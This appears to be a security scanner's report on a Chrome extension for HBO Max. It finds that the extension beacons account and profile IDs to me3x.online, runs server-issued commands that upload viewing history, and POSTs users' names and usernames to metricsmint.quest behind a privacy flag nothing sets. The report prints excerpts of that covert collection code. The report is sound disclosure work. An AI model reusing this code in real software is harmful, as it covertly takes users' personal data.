Is Film Scores for HBO Max : TMDB ratings [QVI] safe?

Low risk

Film Scores for HBO Max sends the user's Max account details and viewing history to third-party servers on every page load.

On every Max/HBO Max page load, the extension sends the account ID, profile ID, a persistent device identifier, browser language, and location to me3x.online, then fetches profile, continue-watching (including per-title playback position), subscription, and live-schedule data from Max's own API and uploads the results to that same server. Separately, on each profile fetch it sends the profile's first name, username, and region to a second server, metricsmint.quest; this collection is meant to be controlled by a privacy toggle that exists internally but is never wired up to any setting the user can see, so it is always active.

SVODExtensionsv1.0.38Chrome Web Store
24Risk
Who publishes it

HideApp - 39 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
SVODExtensions
Declared legal entity
HideApp

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

svodextensions.com
Also called by 2 other listings, including ViX: Picture in Picture with Subtitles

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Every Max page load beacons your account ID, then runs remote commands

Code analysis shows this extension sends your Max account ID, profile ID and a device ID to me3x.online on every page load, then runs server-issued commands that pull viewing history and subscription data from Max's API and upload it back.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You load any max.com or hbomax.com page while logged in.

No click or extension interaction is needed beyond having the page open.

The extension did this

The extension sends your account ID, profile ID and a persistent device ID to me3x.online, then runs whatever commands that server returns against your Max account.

The cycle repeats on its own every 5 minutes for as long as the browser stays open.

Fields sent to me3x.online/n/max/start on every page load
  • Your Max account ID
    acct-7f3e1c92-88b4-4a1d-9e02-15c8d0a4f6b1

    Identifies your specific Max/HBO Max account to the third party.

  • Your selected profile ID
    prf_9f21ac77

    Identifies which household profile you're using, including a child's profile.

  • A persistent extension-generated ID
    5e2a1c30-7b44-4e91-9c3d-8a6f0d21b9aa

    A UUID the extension creates once and stores, letting the third party recognize you across sessions even without your account ID.

  • Extension install ID
    kogoicldifkcdnefkkjanhbmonlldfed

    This extension's own Chrome install ID, sent as a distribution tag.

  • Timezone, language, country
    -240 / en-US / US

    Coarse location and locale data usable for fingerprinting or geo-tagging.

The code that does this

The account/profile beacon and its destination

Readable version

Third-party endpoint config

max_background.min.js:2404
var config_namespaceObject = JSON.parse('{"Ec":"https://me3x.online/","QL":"0d7fcd84","xg":"","d1":"https://metricsmint.quest/up","uL":"https://me3x.online/n/"}');

The beacon POST

max_background.min.js:4468-4482
var fetchCommandsToSend = function() {  var _ref = Metriq_async_to_generator(function(initData) {    return Metriq_ts_generator(this, function(_state) {      switch (_state.label) {        case 0:          return [4, postPlainJsonRequest("".concat(Metriq_BASE_ROUTE, "max/start"), initData)];        case 1:          return [2, _state.sent()];      }    });  });  return function fetchCommandsToSend(initData) {    return _ref.apply(this, arguments);  };}();

What's inside initData

max_background.min.js:4573-4590
var InitCommandsData = function InitCommandsData(accountId, profileId, extensionUserId, hid, gmtDiffSeconds, browserLanguage, dist, country, optedOut, optedOutPii) {  this.accountId = accountId;  this.profileId = profileId;  this.extensionUserId = extensionUserId;  this.hid = hid;  this.gmtDiffSeconds = gmtDiffSeconds;  this.browserLanguage = browserLanguage;  this.dist = dist;  this.country = country;  this.optedOut = optedOut;  this.optedOutPii = optedOutPii;};
Commands the server can return, and what each makes the extension do
  1. on receipt

    You did

    Server returns a PROFILES command.

    The extension did

    Extension fetches your Max profile list and uploads it to me3x.online.

  2. on receipt

    You did

    Server returns a CONTINUE_WATCHING command.

    The extension did

    Extension pulls your per-title viewing/bookmark position from Max's API and uploads it, including a request for viewingHistory decorators.

  3. on receipt

    You did

    Server returns a SUBSCRIPTIONS command.

    The extension did

    Extension reads your subscription plan from Max's API and uploads it.

  4. on receipt

    You did

    Server returns a GET_LIVE_SCHEDULE command.

    The extension did

    Extension fetches the live-TV schedule and uploads it.

  5. on receipt

    You did

    Server returns a GET_URLS command naming one or more Max API URLs.

    The extension did

    Extension fetches each URL the server named against Max's API with no host allowlist, and uploads the response.

Where this data goes
    • me3x.online

    Receives the account/profile beacon each page load, plus results from server-issued commands: profile list, viewing history, subscription plan, live-TV schedule.

When this fires

Every 5 minutes

After the first page-load beacon, the background service worker re-runs the entire beacon-and-command cycle every 5 minutes on its own timer, with no further navigation or clicks from you.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

A privacy toggle that doesn't exist gates your profile PII to a second host

Code analysis shows the extension gates your profile name, region and location to metricsmint.quest behind a 'sharePersonalData' flag.

No code sets that flag; the visible Settings toggle controls a different key, so the send always fires.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You load max.com or hbomax.com with a named Max/HBO Max profile selected.

No interaction with the extension's options page is needed.

The extension did this

The extension reads your profile's name, username, region and location, base64-encodes them with a device ID, and POSTs the result to metricsmint.quest.

This runs on every profile fetch, gated by a storage flag nothing in the extension ever sets.

Fields base64-encoded and sent to metricsmint.quest/up
  • First name
    Jordan

    Your profile's display name as set on Max.

  • Username
    jordan.max91

    The account username tied to your Max login.

  • Region
    en-us

    The Max regional market your account is registered in.

  • Current location territory
    US

    The territory Max has detected you're currently browsing from.

  • Selected profile ID
    prf_9f21ac77

    Identifies which household profile you're using, including a child's profile.

  • Extension device ID
    5e2a1c30-7b44-4e91-9c3d-8a6f0d21b9aa

    A persistent UUID this extension creates, letting the receiver link requests across sessions.

The code that does this

What's collected and where it's sent

Readable version

The fields it collects

max_background.min.js:7793-7838
var gatherAdditionalProfileData = function() {  var _ref = Execute_async_to_generator(function(selectedProfileData) {    var id, PI_ATTRIBUTES, attributes, data;    return Execute_ts_generator(this, function(_state) {      id = selectedProfileData.data.id;      PI_ATTRIBUTES = ["currentLocationTerritory", "firstName", "region", "selectedProfileId", "username"];      attributes = Object.fromEntries(Object.entries(selectedProfileData.data.attributes).filter(function(param) {        var key = param[0];        return PI_ATTRIBUTES.indexOf(key) >= 0;      }));      // ...adds extension_user_id, then:      // return sendAdditionalProfileData("max", data);    });  });  return function gatherAdditionalProfileData(selectedProfileData) { return _ref.apply(this, arguments); };}();

Where it's sent

max_background.min.js:6951-6975
function sendAdditionalProfileData(svod, data) {  return _sendAdditionalProfileData.apply(this, arguments);}function _sendAdditionalProfileData() {  _sendAdditionalProfileData = AdditionalDataApi_async_to_generator(function(svod, data) {    return AdditionalDataApi_ts_generator(this, function(_state) {      return [4, fetch(config_namespaceObject.d1, {        method: "POST",        body: b64encode(JSON.stringify(Object.assign({ svod: svod }, data)))      })];    });  });  return _sendAdditionalProfileData.apply(this, arguments);}
The code that does this

The visible toggle vs. the flag actually checked

Readable version

options.html / optionPage.js: the only control the user sees

options.html, optionPage.js
<span class="label-text">Share anonymous viewing insights</span><input type="checkbox" id="shareInsights">// optionPage.jsshareInsights.addEventListener('change', () => {  chrome.storage.sync.set({ shareInsights: shareInsights.checked })})

max_background.min.js: the flag actually checked before sending PII

max_background.min.js:3454-3474
var isOptedOutPii = function() {  var _ref = Helper_async_to_generator(function() {    var SHARE_PERSONAL_DATA_KEY, optedOutPii;    return Helper_ts_generator(this, function(_state) {      SHARE_PERSONAL_DATA_KEY = "sharePersonalData";      return [4, getOptedOut(SHARE_PERSONAL_DATA_KEY)];      // getOptedOut() returns true only if      // chrome.storage.sync.get(key) === false    });  });  return function isOptedOutPii() { return _ref.apply(this, arguments); };}();
Where this data goes
    • metricsmint.quest

    Receives your profile's first name, username, region, current location and profile ID plus a device ID, base64-encoded, on every profile fetch.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Film Scores for HBO Max : TMDB ratings [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricsmint.questwidely used

    Film Scores for HBO Max : TMDB ratings [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.

  • me3x.onlinewidely used

    Film Scores for HBO Max : TMDB ratings [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

Updated 30 September 2026kogoicldifkcdnefkkjanhbmonlldfed